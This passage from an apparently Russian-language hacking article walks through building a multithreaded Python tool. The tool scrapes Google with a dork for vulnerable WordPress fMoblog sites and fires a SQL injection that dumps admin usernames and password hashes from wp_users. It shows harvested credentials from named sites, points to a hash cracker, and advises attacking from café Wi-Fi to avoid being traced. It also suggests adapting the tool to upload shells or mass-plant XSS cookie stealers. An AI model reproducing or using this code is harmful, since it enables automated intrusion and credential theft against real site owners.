то регулярка в первом параметре вернет http://saturdaybang.org/?page_id=12, что нам и нужно.
Используя вышеперечисленные знания, напишем скрипт парсинга (google.py), который результаты будет складывать в файл, пусть в google.txt. На этом скрипте в силу простоты останавливаться не будем, а его комментированные исходники сможешь найти во врезке. Лишь замечу, что там подключен один не известный тебе самописный модуль curl, размещенный в файле curl.py, который является обверткой над pycurl для облегчения использования. Curl.py состоит лишь из одной функции, которая облегчает использование pycurl при Get-запросах. Эта функция url_get принимает один параметр - URL сайта, а возвращает или пустое значение, если запрос не удался, или тело ответа. Скрипт curl.py следующий:
#подключаем модуля для работы с сетью
#и для работы со строками
import pycurl
import StringIO
#в аргументе передаем URL запроса
def url_get(url):
#инициализируем объекты
data = StringIO.StringIO()
curl = pycurl.Curl()
#настраиваем pycurl
curl.setopt(pycurl.FOLLOWLOCATION, 0)
curl.setopt(pycurl.CONNECTTIMEOUT, 30)
curl.setopt(pycurl.URL, url)
curl.setopt(pycurl.WRITEFUNCTION,data.write)
try:
#исполняем запрос
curl.perform()
except:
pass
curl.close()
#возвращаем результат
return data.getvalue()
После запуска написанного скрипта google.py будет получен файл google.txt с уязвимыми в теории сайтами и теперь можно перейти к самому интересному, к разработке непосредственно системы тестирования.
Проектирование завода
Скрипт тестирования можно реализовать по разному, но мне б хотелось сделать ставку на универсальность, чтобы потом легко можно модифицировать под другие баги. Поэтому было решено разделить все на две части. Первая будет главная часть, общая для всех ситуаций, в задачу которой входит открыть список сайтов и по каждому запустить функцию проверки, а саму функцию проверки вынесем в отдельный файл.
Пусть главный файл будет называться autotester.py, а файл с функцией тестирования назовем wp.py.
Разработка wp.py
Модуль wp.py состоит из конфига и одной функции. В конфиге в переменной max_count_thead укажем максимальное количество потоков, а потом в переменных укажем названия файлов, которые нам нужны:
file_google = "google.txt"
file_success = "success.txt"
file_failed = "failed.txt"
max_count_thead = 20
видим, что мы будем использовать 3 файла: в file_google будут находиться тестируемые сайты, в file_success складывать удачный результат тестирования, а в file_failed неудачный результат.
С файлами есть один нюанс, ведь нам нужно, чтобы все потоки могли записывать информацию без препятственно в файлы. Сделать это в функции тестирования нельзя, так как она будет исполняться в потоке и могут возникнуть конфликты, когда несколько потоков захотят записывать информацию. Поэтому решено было открытие, закрытие и саму запись вынести в главную программу, а функции тестирования будут лишь вызывать их, ссылаясь на главную программу. Для этого подключим в нашем модуле тестирования главную программу, чтобы был доступ к функциям, которые назовем success и failed. Их подключения выполним так:
from __main__ import success,failed
__main__ это специальная переменная, что определяет главный модуль. Теперь, к примеру, для того чтобы записать информацию о том, что какой-то сайт не удалось взломать нужно вызвать следующее:
failed('site')
Сами функции разработаем, когда будем заниматься главным модулем.
Перейдем к разработке функции тестирования. Пусть она будет называться run и в качестве аргумента принимать url сайта для тестирования.
Функция, исходя с тестовой баги, такая:
import curl
import re
def run(url):
new_url=url+'&id=-999+union+all+select+1,2,3,4,
group_concat(
0x3a,0x3a,user_login,0x3a,user_pass,0x3a,0x3a),
6+from+wp_users--'
rez = curl.url_get(new_url)
rez = re.findall('::(.*)::',rez)
if (len(rez)==0):
failed(url)
else:
success(url+':'+rez[0])
print '# '+url+' tested'
Сначала в ней делается запрос, в котором есть SQL-иньекция, что вернет логины и пароли. При выводе результата он обрамляется двоеточием (0x3a), чтобы потом с текста страницы легко простой регуляркой достать результат. Если он есть то результат записываться в файл с удачными результатами, если нет результата, то URL сайта записывается в файл failed.txt.
Многопоточность
В ядре будем использовать многопоточность, поэтому для лучшего понимания немного теории. Многопоточность в Питоне простоя штука, и ее можно выполнить разными методами, я же расскажу только один, который чаще всего юзаю. Для использования его нужно объявить библиотеку "thread" через команду "import thread", а дальше спокойно запускать любую, абсолютно любую функцию как поток командой thread.start_new_thread.
Что бы продемонстрировать объявим простенькую функцию с одной инструкцией "pass" (в Python нельзя объявить цикл или функцию совсем без инструкций):
def some_function():
pass
Теперь запустим эту функцию как поток:
thread.start_new_thread(some_function,())
А поскольку прелесть потоков в их количестве, то запустим их 10 штук:
for i in xrange(0,10):
thread.start_new_thread(some_function,())
Но существует проблема - отсутствие встроенное средство контроля за выполнением потоков и их количеством при использовании модуля thread. В результате чего главная программа может завершиться, не дожидаясь выполнения потоков. Для решения этого достаточно ввести дополнительную переменную, которая будет хранить количество активных потоков. Пусть назовем ее "count_thread" и вначале присвоим ей 0, что будет означать количество запущенных потоков равно 0.
А теперь при каждом запуске потока нужно увеличивать наш флаг на 1:
for i in xrange(0,sys.argv[3]):
count_thread += 1
thread.start_new_thread(some_function,())
И в каждую функцию, которую планируем запускать как поток, добавим изменения, чтобы она при завершении своей работы уменьшала флаг потоков на единицу:
def some_function():
global count_thread
pass
count_thread -= 1
В конце же программы напишем бесконечный цикл, ждущий завершения всех потоков:
while (count_thead»0):
pass
Теперь применим это в нашей программе.
Разработка ядра
В главной программе первым делом нужно подключить функцию тестирования. Пусть имя файла с функцией будет храниться в переменной, и мы потом сможем ее изменять:
file_test_site = 'wp'
если попробовать вызвать:
import file_test_site
то Питон выдаст ошибку, что не знает такого модуля. Поэтому подключать нужно через специальную функцию следующим образом:
test_site = __import__(file_test_site)
этой строчкой все функции и переменные с wp.py будут доступны через переменную test_site в главной программе. К примеру, чтобы обратится к переменной с максимальным количеством потоков объявленной в wp.py нужно написать следующее:
print test_site.max_count_thead
Дальше в программе по-открываем необходимые файлы, имена которых определены в файле wp.py:
fi = open(test_site.file_google,'r')
site_list = fi.readlines()
site_list = uniq(site_list)
f_success = open(test_site.file_success,'w')
f_failed = open(test_site.file_failed,'w')
Тут все известно, кроме функции uniq. Функция написана для того чтобы если после парсинга Гугла некоторые сайты повторяются дважды то оставить лишь уникальные сайты. Код этой функции следующий:
def uniq(inlist):
#объявим пустой список
rez = []
#цикл по всему входному списку
for item in inlist:
#если элемента нет в исходящем списке
if item not in rez:
#добавим элемент в список результата
rez.append(item)
return rez
Также следует не забыть написать функции для записи результатов. К примеру, для записи успешных результатов будет такая:
def success(text):
global f_success
f_success.write(text+"\n")
f_success.flush()
В ней видим что есть функция flush для того чтобы постоянно сбрасывать файловый буфер на диск. И если мы прервем на полпути нашу программу, то все равно результаты будут записаны в файл.
Дальше идет главный цикл программы, который читает site_list и вытягивает оттуда по одной записи URL-сайта через метод pop:
site = site_list.pop()
Он позволяет работать со списком как со стеком. Тоесть берет самую верхнюю запись и при этом ее удаляет со списка. Это дает то, что каждый сайт будет обработан лишь один раз.
Теперь подготовительные работы выполнены и можно запускать функцию run_test как поток. А она уже в свою очередь вызовет функцию тестирования run из модуля google.py:
def run_test(site):
global count_thead
test_site.run(site)
count_thead -= 1
Сам запуск потоков выглядит так:
#пока есть не обработанные сайты
while ( len(site_list)»0 ):
#если количество потоков меньше максимального числа
if (test_site.max_count_thead > count_thead):
#взять со списка один сайт
site = site_list.pop()
count_thead +=1
#запустить проверку взятого сайта
thread.start_new_thread(run_test,(site,))
#если потоков больше максимально числа,
#то подождем пока какой-то освободиться
else:
pass
Этот код обеспечивает запуск функции тестирования как потока для всех сайтов, и при этом контролирует, чтобы потоков не было больше максимального числа, что был указан в переменной max_count_thead объявленной в wp.py. Напомню, что все скрипты с подробными комментариями есть на диске.
Защита от "друзей"
Ты, наверно, читая заметил, что я не использую прокси, а работаю напрямую с жертвами. Конечно, при желании, можно поддержку соксов добавить, изменив функцию url_get, но предпочитаю поступать по-другому. Я в основном пишу полностью автоматические скрипты, такие как мы разработали в статье, которые не нуждаются в контроле и наблюдению за ними. И когда все готово, то иду с маленьким ноутом, как принято сейчас называть, с нетбуком, в какое-то заведение, где есть вай-фай. Дальше запускаю скрипты, и спокойно закрываю крышку нетбука и ложу его под стол... И не отвлекаясь, наслаждаюсь чайком ) Никто даже не предполагает, что я вообще что-то делаю в инете. Вай-фай дает вполне приличную скорость, а поскольку юзается многопоточность, то затраты времени на работу скриптов не большие. Потом уже дома смотрю и анализирую готовый результат, что сохранили скрипты. Хотя со стороны безопасности все-таки лучше еще к этому методу использовать соксы, но это каждому решать по-своему. Главное быть всегда осторожным.
Тестирования
Осталось лишь проверить то, что написали. Сначала запустил файл google.py, а потом autotester.py. После их завершения глянул файл success.txt, который порадовал своей не пустотой. Первые 3 строчки с него:
http://kotapahlawan.com/wp/:lug:$P$B16Yr5TQFQ2tjrmMxUHiZubzzqZJ2A.
http://infodave.com/:admin:$P$B58JineUw6OJoEDL9hD9me5XaumzOt0
http://www.tarynitup.com/:admin:$P$BRH1fDlLrqhpAOLOo38w5Xlke/AH70.
Видим, что есть у нас логин и захешированный пароль для доступа в админку. С захешированным паролем поможет разобраться последний PasswordsPro (http://www.insidepro.com/download/passwordspro.zip).
Но доступ к админке не главная цель статьи, в первую очередь я хотел показать, как сделать инструмент, для быстрого и эффективного хака. Ведь если, к примеру, ты возьмешь на sql-injection, а исполнения кода, то сможешь быстро изменить функцию run в wp.py чтобы она заливала тебе шел на сервер. Если найдешь активную XSS, то сможешь легко ее внедрить на все сайты, а потом лишь ждать на снифере кукисов. И все это очень оперативно, ведь ядро изменять не нужно, а лишь функцию тестирования. Простор для творчества очень большой.
Но все это предоставлено только в ознакомительных целях.
Скрипт парсинга Гугла
#конфиг парсера
dork = 'inurl:page_id+"Gallery+powered+by+fMoblog"'
page = 10
reg = 'class=r»«a href="([^"&]*)'
print "# start"
print "# dork:" + dork
print "# all page: " + str(page)
#открываем файл на запись
fo = open('google.txt','w')
print "# google.txt open"
import curl
import time
import re
#пройтись по page страницам в гугле
for i in xrange(0,page):
#формирование URL
url = "http://www.google.com/search?q="+dork+"&start=" + str(i*10)
#исполнения запроса
rez = curl.url_get(url)
#достаем ссылки
rez = re.findall(reg,rez)
#записываем результат в файл
for item in rez:
fo.write(item+"\n")
print "# page "+str(i+1)+" done"
#ждем 2 сек.
time.sleep(2)
#закрываем файл
fo.close
print '# all done'